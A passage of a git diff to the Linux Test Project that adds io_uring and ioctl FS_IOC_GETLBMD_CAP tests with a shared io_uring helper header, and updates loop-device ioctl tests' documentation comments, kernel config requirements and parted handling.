I/O"); + + SAFE_CLOSE(fd); +} + +static void run(void) +{ + test_write_read(); + test_partial_io(); +} + +static void setup(void) +{ + io_uring_setup_supported_by_kernel(); + sigemptyset(&sig); + memset(&s, 0, sizeof(s)); + io_uring_setup_queue(&s, QUEUE_DEPTH, 0); +} + +static void cleanup(void) +{ + io_uring_cleanup_queue(&s, QUEUE_DEPTH); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .bufs = (struct tst_buffers []) { + {&write_buf, .size = BLOCK_SZ}, + {&read_buf, .size = BLOCK_SZ}, + {} + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/io_uring_disabled", "0", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + } +}; diff --git a/ltp/testcases/kernel/syscalls/io_uring/io_uring_common.h b/ltp/testcases/kernel/syscalls/io_uring/io_uring_common.h new file mode 100644 index 00000000..aa31339f --- /dev/null +++ b/ltp/testcases/kernel/syscalls/io_uring/io_uring_common.h @@ -0,0 +1,278 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 IBM + * Author: Sachin Sant <sachinp@linux.ibm.com> + * + * Common definitions and helper functions for io_uring tests + */ + +#ifndef IO_URING_COMMON_H +#define IO_URING_COMMON_H + +#include <stdlib.h> +#include <string.h> +#include <fcntl.h> +#include "config.h" +#include "tst_test.h" +#include "lapi/io_uring.h" + +/* Common structures for io_uring ring management */ +struct io_sq_ring { + unsigned int *head; + unsigned int *tail; + unsigned int *ring_mask; + unsigned int *ring_entries; + unsigned int *flags; + unsigned int *array; +}; + +struct io_cq_ring { + unsigned int *head; + unsigned int *tail; + unsigned int *ring_mask; + unsigned int *ring_entries; + struct io_uring_cqe *cqes; +}; + +struct io_uring_submit { + int ring_fd; + struct io_sq_ring sq_ring; + struct io_uring_sqe *sqes; + struct io_cq_ring cq_ring; + void *sq_ptr; + size_t sq_ptr_size; + void *cq_ptr; + size_t cq_ptr_size; +}; + +/* + * Setup io_uring instance with specified queue depth and optional flags + * Returns 0 on success, -1 on failure + */ +static inline int io_uring_setup_queue(struct io_uring_submit *s, + unsigned int queue_depth, + unsigned int flags) +{ + struct io_sq_ring *sring = &s->sq_ring; + struct io_cq_ring *cring = &s->cq_ring; + struct io_uring_params p; + + memset(&p, 0, sizeof(p)); + p.flags = flags; + s->ring_fd = io_uring_setup(queue_depth, &p); + if (s->ring_fd < 0) { + tst_brk(TBROK | TERRNO, "io_uring_setup() failed"); + return -1; + } + + s->sq_ptr_size = p.sq_off.array + p.sq_entries * sizeof(unsigned int); + + s->sq_ptr = SAFE_MMAP(0, s->sq_ptr_size, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_POPULATE, s->ring_fd, + IORING_OFF_SQ_RING); + + /* Save submission queue pointers */ + sring->head = s->sq_ptr + p.sq_off.head; + sring->tail = s->sq_ptr + p.sq_off.tail; + sring->ring_mask = s->sq_ptr + p.sq_off.ring_mask; + sring->ring_entries = s->sq_ptr + p.sq_off.ring_entries; + sring->flags = s->sq_ptr + p.sq_off.flags; + sring->array = s->sq_ptr + p.sq_off.array; + + s->sqes = SAFE_MMAP(0, p.sq_entries * sizeof(struct io_uring_sqe), + PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, + s->ring_fd, IORING_OFF_SQES); + + s->cq_ptr_size = p.cq_off.cqes + + p.cq_entries * sizeof(struct io_uring_cqe); + + s->cq_ptr = SAFE_MMAP(0, s->cq_ptr_size, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_POPULATE, s->ring_fd, + IORING_OFF_CQ_RING); + + /* Save completion queue pointers */ + cring->head = s->cq_ptr + p.cq_off.head; + cring->tail = s->cq_ptr + p.cq_off.tail; + cring->ring_mask = s->cq_ptr + p.cq_off.ring_mask; + cring->ring_entries = s->cq_ptr + p.cq_off.ring_entries; + cring->cqes = s->cq_ptr + p.cq_off.cqes; + + return 0; +} + +/* + * Cleanup io_uring instance and unmap all memory regions + */ +static inline void io_uring_cleanup_queue(struct io_uring_submit *s, + unsigned int queue_depth) +{ + if (s->sqes) + SAFE_MUNMAP(s->sqes, queue_depth * sizeof(struct io_uring_sqe)); + if (s->cq_ptr) + SAFE_MUNMAP(s->cq_ptr, s->cq_ptr_size); + if (s->sq_ptr) + SAFE_MUNMAP(s->sq_ptr, s->sq_ptr_size); + if (s->ring_fd > 0) + SAFE_CLOSE(s->ring_fd); +} + +/* + * Internal helper to submit a single SQE to the submission queue + * Used by both vectored and non-vectored I/O operations + */ +static inline void io_uring_submit_sqe_internal(struct io_uring_submit *s, + int fd, int opcode, + unsigned long addr, + unsigned int len, + off_t offset, + unsigned long long user_data) +{ + struct io_sq_ring *sring = &s->sq_ring; + unsigned int tail, index; + struct io_uring_sqe *sqe; + + tail = *sring->tail; + index = tail & *sring->ring_mask; + sqe = &s->sqes[index]; + + memset(sqe, 0, sizeof(*sqe)); + sqe->opcode = opcode; + sqe->fd = fd; + sqe->addr = addr; + sqe->len = len; + sqe->off = offset; + sqe->user_data = user_data; + + sring->array[index] = index; + tail++; + + *sring->tail = tail; +} + +/* + * Submit a single SQE to the submission queue + * For basic read/write operations (non-vectored) + */ +static inline void io_uring_submit_sqe(struct io_uring_submit *s, int fd, + int opcode, void *buf, size_t len, + off_t offset) +{ + io_uring_submit_sqe_internal(s, fd, opcode, (unsigned long)buf, + len, offset, opcode); +} + +/* + * Submit a vectored SQE to the submission queue + * For readv/writev operations + */ +static inline void io_uring_submit_sqe_vec(struct io_uring_submit *s, int fd, + int opcode, struct iovec *iovs, + int nr_vecs, off_t offset) +{ + io_uring_submit_sqe_internal(s, fd, opcode, (unsigned long)iovs, + nr_vecs, offset, opcode); +} + +/* + * Map io_uring operation code to human-readable name + */ +static inline const char *ioring_op_name(int op) +{ + switch (op) { + case IORING_OP_READV: + return "IORING_OP_READV"; + case IORING_OP_WRITEV: + return "IORING_OP_WRITEV"; + case IORING_OP_READ: + return "IORING_OP_READ"; + case IORING_OP_WRITE: + return "IORING_OP_WRITE"; + default: + return "UNKNOWN"; + } +} + +/* + * Wait for and validate a completion queue entry + * Aborts test on failure using tst_brk() + */ +static inline void io_uring_wait_cqe(struct io_uring_submit *s, + int expected_res, int expected_opcode, + sigset_t *sig) +{ + struct io_cq_ring *cring = &s->cq_ring; + struct io_uring_cqe *cqe; + unsigned int head; + int ret; + + ret = io_uring_enter(s->ring_fd, 1, 1, IORING_ENTER_GETEVENTS, sig); + if (ret < 0) + tst_brk(TBROK | TERRNO, "io_uring_enter() failed"); + + head = *cring->head; + if (head == *cring->tail) + tst_brk(TBROK, "No completion event received"); + + cqe = &cring->cqes[head & *cring->ring_mask]; + + if (cqe->user_data != (uint64_t)expected_opcode) { + *cring->head = head + 1; + tst_brk(TBROK, "Unexpected user_data: got %llu, expected %d", + (unsigned long long)cqe->user_data, expected_opcode); + } + + if (cqe->res != expected_res) { + *cring->head = head + 1; + tst_brk(TBROK, "Operation failed: res=%d, expected=%d", + cqe->res, expected_res); + } + + *cring->head = head + 1; +} + +/* + * Initialize buffer with a repeating character pattern + * Useful for creating test data with predictable patterns + */ +static inline void io_uring_init_buffer_pattern(char *buf, size_t size, + char pattern) +{ + size_t i; + + for (i = 0; i < size; i++) + buf[i] = pattern; +} + +/* + * Submit and wait for a non-vectored I/O operation + * Combines io_uring_submit_sqe() and io_uring_wait_cqe() with result reporting + */ +static inline void io_uring_do_io_op(struct io_uring_submit *s, int fd, + int op, void *buf, size_t len, + off_t offset, sigset_t *sig) +{ + io_uring_submit_sqe(s, fd, op, buf, len, offset); + io_uring_wait_cqe(s, len, op, sig); + tst_res(TPASS, "OP=%s (%02x) fd=%i buf=%p len=%zu offset=%jd", + ioring_op_name(op), op, fd, buf, len, (intmax_t)offset); +} + +/* + * Submit and wait for a vectored I/O operation + * Combines io_uring_submit_sqe_vec() and io_uring_wait_cqe() with + * result reporting + */ +static inline void io_uring_do_vec_io_op(struct io_uring_submit *s, int fd, + int op, struct iovec *iovs, + int nvecs, off_t offset, + int expected_size, sigset_t *sig) +{ + io_uring_submit_sqe_vec(s, fd, op, iovs, nvecs, offset); + io_uring_wait_cqe(s, expected_size, op, sig); + tst_res(TPASS, "OP=%s (%02x) fd=%i iovs=%p nvecs=%i offset=%jd " + "expected_size=%i", + ioring_op_name(op), op, fd, iovs, nvecs, (intmax_t)offset, + expected_size); +} + +#endif /* IO_URING_COMMON_H */ diff --git a/ltp/testcases/kernel/syscalls/ioctl/.gitignore b/ltp/testcases/kernel/syscalls/ioctl/.gitignore index dac4583f..63765dea 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/.gitignore +++ b/ltp/testcases/kernel/syscalls/ioctl/.gitignore @@ -30,6 +30,7 @@ /ioctl_ficlonerange01 /ioctl_ficlonerange02 /ioctl_fiemap01 +/ioctl_getlbmd01 /ioctl_pidfd01 /ioctl_pidfd02 /ioctl_pidfd03 diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl01.c index 42b93ac9..62f977ec 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl01.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl01.c @@ -8,7 +8,7 @@ */ /*\ - * Testcase to check the errnos set by the ioctl(2) system call. + * Testcase to check the errnos set by the :manpage:`ioctl(2)` system call. * * - EBADF: Pass an invalid fd to ioctl(fd, ...) and expect EBADF * - EFAULT: Pass an invalid address of arg in ioctl(fd, ..., arg) diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl04.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl04.c index 952450ba..0465aa70 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl04.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl04.c @@ -4,7 +4,7 @@ */ /*\ - * Basic test for the BLKROSET and BLKROGET ioctls. + * Basic test for :manpage:`ioctl(2)` with BLKROSET and BLKROGET . * * - Set the device read only, read the value back. * - Try to mount the device read write, expect failure. diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl05.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl05.c index 586322e0..daeec20d 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl05.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl05.c @@ -4,7 +4,7 @@ */ /*\ - * Basic test for the BLKGETSIZE and BLKGETSIZE64 ioctls. + * Basic test for :manpage:`ioctl(2)` with BLKGETSIZE and BLKGETSIZE64. * * - BLKGETSIZE returns size in 512 byte blocks BLKGETSIZE64 in bytes * compare that they return the same value. diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl06.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl06.c index 4e4177ca..6e4323b3 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl06.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl06.c @@ -4,7 +4,7 @@ */ /*\ - * Basic test for the BLKRASET and BLKRAGET ioctls. + * Basic test for :manpage:`ioctl(2)` with BLKRASET and BLKRAGET. * * Sets device read-ahead, reads it back and compares the values. * diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl07.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl07.c index 59ef893d..f4acb7f8 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl07.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl07.c @@ -4,7 +4,7 @@ */ /*\ - * Very basic test for the RND* ioctls. + * Very basic test for the RND* :manpage:`ioctl(2)`. * * Reads the entropy available from both /proc and the ioctl and compares * they are similar enough (within a configured fuzz factor). diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl08.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl08.c index 78602f55..46a2e5fa 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl08.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl08.c @@ -5,7 +5,7 @@ */ /*\ - * Tests the ioctl functionality to deduplicate fileranges using + * Tests :manpage:`ioctl(2)` functionality to deduplicate fileranges using * btrfs filesystem. * * 1. Sets the same contents for two files and deduplicates it. @@ -129,10 +129,6 @@ static struct tst_test test = { {.type = "btrfs"}, {} }, - .needs_drivers = (const char *const[]) { - "btrfs", - NULL, - }, }; #else TST_TEST_TCONF( diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl09.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl09.c index f86355f2..bffcc2e0 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl09.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl09.c @@ -5,7 +5,7 @@ */ /*\ - * Basic test for the BLKRRPART ioctl, it is the same as blockdev + * Basic test for :manpage:`ioctl(2)` with BLKRRPART, it is the same as blockdev * --rereadpt command. */ @@ -76,7 +76,7 @@ static void verify_ioctl(void) check_partition(1, true); check_partition(2, true); - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); attach_flag = 0; } @@ -104,13 +104,13 @@ static struct tst_test test = { .cleanup = cleanup, .test_all = verify_ioctl, .needs_root = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL }, - .needs_cmds = (const char *const []) { - "parted", - NULL + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "parted"}, + {} }, .needs_tmpdir = 1, }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl10.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl10.c index b27e9a84..b668c9e9 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl10.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl10.c @@ -4,10 +4,9 @@ */ /*\ - * [Description] + * Test PROCMAP_QUERY :manpage:`ioctl(2)` for /proc/$PID/maps. * - * Test PROCMAP_QUERY ioctl() for /proc/$PID/maps. - * Test base on kernel selftests proc-pid-vm.c. + * Test based on :kselftest:`proc/proc-pid-vm.c`. * * - ioctl with exact match query_addr * - ioctl without match query_addr diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone01.c index a30fa922..91683396 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone01.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone01.c @@ -4,8 +4,8 @@ */ /*\ - * This test verifies that ioctl() FICLONE feature clones file content from - * one file to an another. + * This test verifies that :manpage:`ioctl(2)` FICLONE feature clones file content + * from one file to an another. * * [Algorithm] * diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone02.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone02.c index 76a6bb8a..8a550b8f 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone02.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone02.c @@ -4,9 +4,9 @@ */ /*\ - * This test verifies that ioctl() FICLONE/FICLONERANGE feature correctly raises - * EOPNOTSUPP when an unsupported filesystem is used. In particular, filesystems - * which don't support copy-on-write. + * This test verifies that :manpage:`ioctl(2)` FICLONE/FICLONERANGE feature correctly + * raises EOPNOTSUPP when an unsupported filesystem is used. In particular, + * filesystems which don't support copy-on-write. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone03.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone03.c index 6a9d270d..ba06e2d8 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone03.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone03.c @@ -4,8 +4,8 @@ */ /*\ - * This test verifies that ioctl() FICLONE/FICLONERANGE feature correctly raises - * exceptions when it's supposed to. + * This test verifies that :manpage:`ioctl(2)` FICLONE/FICLONERANGE feature correctly + * raises exceptions when it's supposed to. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone04.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone04.c index 96f9d583..e62863b0 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone04.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlone04.c @@ -4,8 +4,8 @@ */ /*\ - * This test verifies that ioctl() FICLONE/FICLONERANGE feature raises the right - * error according with bad file descriptors. + * This test verifies that :manpage:`ioctl(2)` FICLONE/FICLONERANGE feature raises the + * right error according with bad file descriptors. */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange01.c index 5b51f1d1..8dab9f34 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange01.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange01.c @@ -4,8 +4,8 @@ */ /*\ - * This test verifies that ioctl() FICLONERANGE feature clones file content from - * one file to an another. + * This test verifies that :manpage:`ioctl(2)` FICLONERANGE feature clones file + * content from one file to an another. * * [Algorithm] * diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange02.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange02.c index 6c93d8dc..5c9d8afb 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange02.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_ficlonerange02.c @@ -4,8 +4,9 @@ */ /*\ - * This test verifies that ioctl() FICLONERANGE feature correctly raises + * This test verifies that :manpage:`ioctl(2)` FICLONERANGE feature correctly raises * EINVAL when: + * * - filesystem does not support overlapping reflink ranges in the same file * - filesystem does not support reflinking on bad blocks alignment */ diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_getlbmd01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_getlbmd01.c new file mode 100644 index 00000000..3455597b --- /dev/null +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_getlbmd01.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Verify :manpage:`ioctl(2)` with FS_IOC_GETLBMD_CAP on block devices. + * + * - fill struct logical_block_metadata_cap with non-zero pattern, call + * FS_IOC_GETLBMD_CAP on a block device without integrity support + * and verify the kernel zeroed out all fields + * - call FS_IOC_GETLBMD_CAP on a regular file and verify it fails + * with ENOTTY + */ + +#include <sys/ioctl.h> +#include "tst_test.h" +#include "lapi/fs.h" + +static int dev_fd = -1; +static int file_fd = -1; + +static struct logical_block_metadata_cap *meta_cap; + +static void run(void) +{ + memset(meta_cap, 0xff, sizeof(*meta_cap)); + + TST_EXP_PASS(ioctl(dev_fd, FS_IOC_GETLBMD_CAP, meta_cap), + "FS_IOC_GETLBMD_CAP on block device"); + + if (!TST_PASS) + return; + + TST_EXP_EQ_LU(meta_cap->lbmd_flags, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_interval, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_size, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_opaque_size, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_opaque_offset, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_pi_size, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_pi_offset, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_guard_tag_type, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_app_tag_size, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_ref_tag_size, 0); + TST_EXP_EQ_LU(meta_cap->lbmd_storage_tag_size, 0); + + TST_EXP_FAIL(ioctl(file_fd, FS_IOC_GETLBMD_CAP, meta_cap), ENOTTY, + "FS_IOC_GETLBMD_CAP on regular file"); +} + +static void setup(void) +{ + dev_fd = SAFE_OPEN(tst_device->dev, O_RDONLY); + + SAFE_TOUCH("testfile", 0644, NULL); + file_fd = SAFE_OPEN("testfile", O_RDONLY); +} + +static void cleanup(void) +{ + if (file_fd != -1) + SAFE_CLOSE(file_fd); + + if (dev_fd != -1) + SAFE_CLOSE(dev_fd); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_device = 1, + .needs_root = 1, + .min_kver = "6.17", + .needs_kconfigs = (const char *[]) { + "CONFIG_BLK_DEV_INTEGRITY=y", + NULL, + }, + .bufs = (struct tst_buffers[]) { + {&meta_cap, .size = sizeof(*meta_cap)}, + {}, + }, +}; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop01.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop01.c index c9137bf1..0322b263 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop01.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop01.c @@ -6,7 +6,8 @@ */ /*\ - * Tests ioctl() on loopdevice with LO_FLAGS_AUTOCLEAR and LO_FLAGS_PARTSCAN flags. + * Tests :manpage:`ioctl(2)` on loopdevice with LO_FLAGS_AUTOCLEAR and + * LO_FLAGS_PARTSCAN flags. * * For LO_FLAGS_AUTOCLEAR flag, only checks autoclear field value in sysfs * and also gets lo_flags by using LOOP_GET_STATUS. @@ -59,7 +60,7 @@ static void check_loop_value(int set_flag, int get_flag, int autoclear_field) TST_ASSERT_INT(autoclear_path, autoclear_field); if (!parted_sup) { - tst_res(TINFO, "Current environment doesn't have parted disk, skip it"); + tst_res(TCONF, "Current environment doesn't have parted disk, skip it"); return; } @@ -78,27 +79,27 @@ static void check_loop_value(int set_flag, int get_flag, int autoclear_field) static void verify_ioctl_loop(void) { - tst_attach_device(dev_path, "test.img"); - attach_flag = 1; - TST_ASSERT_INT(partscan_path, 0); TST_ASSERT_INT(autoclear_path, 0); TST_ASSERT_STR(backing_path, backing_file_path); + dev_fd = SAFE_OPEN(dev_path, O_RDWR); + check_loop_value(SET_FLAGS, GET_FLAGS, 1); tst_res(TINFO, "Test flag can be clear"); check_loop_value(0, LO_FLAGS_PARTSCAN, 0); - tst_detach_device_by_fd(dev_path, dev_fd); - dev_fd = SAFE_OPEN(dev_path, O_RDWR); + tst_detach_device_by_fd(dev_path, &dev_fd); + attach_flag = 0; } static void setup(void) { - int ret; - const char *const cmd_parted[] = {"parted", "-s", "test.img", "mklabel", "msdos", "mkpart", + parted_sup = tst_cmd_present("parted"); + + const char *const cmd_parted[] = {"parted", "-s", dev_path, "mklabel", "msdos", "mkpart", "primary", "ext4", "1M", "10M", NULL}; dev_num = tst_find_free_loopdev(dev_path, sizeof(dev_path)); @@ -107,18 +108,11 @@ static void setup(void) tst_fill_file("test.img", 0, 1024 * 1024, 10); - ret = tst_cmd(cmd_parted, NULL, NULL, TST_CMD_PASS_RETVAL); - switch (ret) { - case 0: - parted_sup = 1; - break; - case 255: - tst_res(TCONF, "parted binary not installed or failed"); - break; - default: - tst_res(TCONF, "parted exited with %i", ret); - break; - } + tst_attach_device(dev_path, "test.img"); + attach_flag = 1; + + if (parted_sup) + SAFE_CMD(cmd_parted, NULL, NULL); sprintf(partscan_path, "/sys/block/loop%d/loop/partscan", dev_num); sprintf(autoclear_path, "/sys/block/loop%d/loop/autoclear", dev_num); @@ -126,7 +120,6 @@ static void setup(void) sprintf(sys_loop_partpath, "/sys/block/loop%d/loop%dp1", dev_num, dev_num); backing_file_path = tst_tmpdir_genpath("test.img"); sprintf(loop_partpath, "%sp1", dev_path); - dev_fd = SAFE_OPEN(dev_path, O_RDWR); } static void cleanup(void) @@ -143,8 +136,8 @@ static struct tst_test test = { .cleanup = cleanup, .test_all = verify_ioctl_loop, .needs_root = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL }, .tags = (const struct tst_tag[]) { @@ -152,5 +145,9 @@ static struct tst_test test = { {"linux-git", "6ac92fb5cdff"}, {} }, + .needs_cmds = (struct tst_cmd[]) { + {.cmd = "parted", .optional = 1}, + {} + }, .needs_tmpdir = 1, }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop02.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop02.c index 6026af1e..27f8e6cf 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop02.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop02.c @@ -6,14 +6,14 @@ */ /*\ - * Tests ioctl() on loopdevice with LO_FLAGS_READ_ONLY (similar as losetup -r) and - * LOOP_CHANGE_FD flags. + * Tests :manpage:`ioctl(2)` on loopdevice with LO_FLAGS_READ_ONLY (similar as losetup + * -r) and LOOP_CHANGE_FD flags. * * For LOOP_CHANGE_FD, this operation is possible only if the loop device * is read-only and the new backing store is the same size and type as the * old backing store. * - * When using LOOP_CONFIGURE ioctl(), it can set LO_FLAGS_READ_ONLY + * When using LOOP_CONFIGURE :manpage:`ioctl(2)`, it can set LO_FLAGS_READ_ONLY * flag even though backing file with write mode. */ @@ -100,7 +100,7 @@ static void verify_ioctl_loop(unsigned int n) } SAFE_CLOSE(file_fd); - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); attach_flag = 0; } @@ -158,8 +158,8 @@ static struct tst_test test = { .test = verify_ioctl_loop, .needs_root = 1, .needs_tmpdir = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop03.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop03.c index dc39dbbb..47f69e80 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop03.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop03.c @@ -6,7 +6,7 @@ */ /*\ - * Tests ioctl() on loopdevice with LOOP_CHANGE_FD flag. + * Tests :manpage:`ioctl(2)` on loopdevice with LOOP_CHANGE_FD flag. * * Tests whether LOOP_CHANGE_FD can not succeed (get EINVAL error) * when loop_dev is not read only. @@ -71,8 +71,8 @@ static struct tst_test test = { .test_all = verify_ioctl_loop, .needs_root = 1, .needs_tmpdir = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop04.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop04.c index 839648f2..e5c11aa5 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop04.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop04.c @@ -6,7 +6,7 @@ */ /*\ - * Tests ioctl() on loopdevice with LOOP_SET_CAPACITY flag. + * Tests :manpage:`ioctl(2)` on loopdevice with LOOP_SET_CAPACITY flag. * * Tests whether LOOP_SET_CAPACITY can update a live * loop device size after change the size of the underlying @@ -60,7 +60,7 @@ static void verify_ioctl_loop(void) TST_ASSERT_INT(sys_loop_sizepath, NEW_SIZE/512); SAFE_CLOSE(file_fd); - tst_detach_device_by_fd(dev_path, dev_fd); + tst_detach_device_by_fd(dev_path, &dev_fd); dev_fd = SAFE_OPEN(dev_path, O_RDWR); unlink("test.img"); attach_flag = 0; @@ -96,8 +96,8 @@ static struct tst_test test = { .test_all = verify_ioctl_loop, .needs_root = 1, .needs_tmpdir = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop05.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop05.c index 0ced7eda..11952af0 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop05.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop05.c @@ -6,7 +6,7 @@ */ /*\ - * Tests ioctl() on loopdevice with LOOP_SET_DIRECT_IO flag. + * Tests :manpage:`ioctl(2)` on loopdevice with LOOP_SET_DIRECT_IO flag. * * Tests whether LOOP_SET_DIRECT_IO can update a live loop device dio mode. * It requires the backing file also supports dio mode and the lo_offset is @@ -16,8 +16,8 @@ * return error when it coudln't be enabled, some silently fall back to regular * buffered I/O. * - * The LOOP_SET_DIRECT_IO ioctl() may ignore all checks if it cannot get the - * logical block size which is the case if the block device pointer in the + * The LOOP_SET_DIRECT_IO :manpage:`ioctl(2)` may ignore all checks if it cannot get + * the logical block size which is the case if the block device pointer in the * backing file inode is not set. In this case the direct I/O appears to be * enabled but falls back to buffered I/O later on. This is the case at least * for Btrfs. Because of that the test passes both with failure as well as @@ -154,8 +154,8 @@ static struct tst_test test = { "overlayfs", NULL }, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL } }; diff --git a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop06.c b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop06.c index 35e9e79e..f523df1c 100644 --- a/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop06.c +++ b/ltp/testcases/kernel/syscalls/ioctl/ioctl_loop06.c @@ -6,7 +6,7 @@ */ /*\ - * Tests invalid block size of loopdevice by using ioctl() with + * Tests invalid block size of loopdevice by using :manpage:`ioctl(2)` 